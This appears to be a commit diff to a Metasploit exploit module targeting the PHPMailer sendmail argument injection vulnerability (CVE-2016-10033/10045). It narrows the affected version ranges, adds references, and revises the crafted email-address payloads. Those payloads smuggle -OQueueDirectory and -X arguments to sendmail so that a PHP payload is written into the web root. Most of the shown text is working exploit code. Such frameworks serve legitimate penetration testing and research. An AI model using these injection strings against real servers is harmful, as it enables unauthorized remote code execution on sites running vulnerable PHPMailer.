@@ -15,7 +15,7 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'PHPMailer Sendmail Argument Injection' ,
17
17
'Description' => %q{
18
- PHPMailer versions up to and including 5.2.20 are affected by a
18
+ PHPMailer versions up to and including 5.2.19 are affected by a
19
19
vulnerability which can be leveraged by an attacker to write a file with
20
20
partially controlled contents to an arbitrary location through injection
21
21
of arguments that are passed to the sendmail binary. This module
@@ -31,6 +31,8 @@ def initialize(info = {})
31
31
'License' => MSF_LICENSE ,
32
32
'References' => [
33
33
[ 'CVE' , '2016-10033' ] ,
34
+ [ 'CVE' , '2016-10045' ] ,
35
+ [ 'EDB' , '40968' ] ,
34
36
[ 'EDB' , '40969' ] ,
35
37
[ 'URL' , 'https://github.com/opsxcq/exploit-CVE-2016-10033' ] ,
36
38
[ 'URL' , 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html' ]
@@ -40,8 +42,8 @@ def initialize(info = {})
40
42
'Arch' => ARCH_PHP ,
41
43
'Payload' => { 'DisableNops' => true } ,
42
44
'Targets' => [
43
- [ 'PHPMailer <= 5.2.18' , { } ] ,
44
- [ 'PHPMailer 5.2.20 ' , { } ]
45
+ [ 'PHPMailer <5.2.18' , { } ] ,
46
+ [ 'PHPMailer 5.2.18 - 5.2.19 ' , { } ]
45
47
] ,
46
48
'DefaultTarget' => 0
47
49
) )
@@ -95,10 +97,10 @@ def exploit
95
97
payload_file_name = "#{ rand_text_alphanumeric ( 8 ) } .php"
96
98
payload_file_path = "#{ datastore [ 'WEB_ROOT' ] } /#{ payload_file_name } "
97
99
98
- if target . name == 'PHPMailer <= 5.2.18'
100
+ if target . name == 'PHPMailer <5.2.18'
99
101
email = "\" #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \\ \" -OQueueDirectory=/tmp -X#{ payload_file_path } #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \" @#{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } .com"
100
- elsif target . name == 'PHPMailer 5.2.20 '
101
- email = "\\ \ "#{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \\ ' -OQueueDirectory=/tmp -X#{ payload_file_path } #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \\ \" @#{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } .com"
102
+ elsif target . name == 'PHPMailer 5.2.18 - 5.2.19 '
103
+ email = "\" #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \\ ' -OQueueDirectory=/tmp -X#{ payload_file_path } #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \" @#{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } .com"
102
104
else
103
105
fail_with ( Failure ::NoTarget , 'The specified version is not supported' )
104
106
end
0 commit comments